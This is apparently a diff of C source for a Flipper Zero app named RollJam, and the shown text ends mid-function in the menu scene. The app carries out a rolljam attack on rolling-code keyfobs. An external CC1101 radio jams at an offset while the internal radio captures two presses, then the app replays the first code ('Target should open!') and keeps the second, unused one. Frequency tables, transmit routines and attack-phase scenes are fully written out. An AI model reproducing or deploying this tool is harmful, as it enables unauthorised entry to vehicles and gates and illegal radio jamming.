FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -0,0 +1,21 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

View File

@@ -0,0 +1,236 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

View File

@@ -0,0 +1,164 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 B

View File

@@ -0,0 +1,9 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

View File

@@ -0,0 +1,27 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

View File

@@ -0,0 +1,105 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,108 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,70 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

View File

@@ -0,0 +1,17 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -0,0 +1,129 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
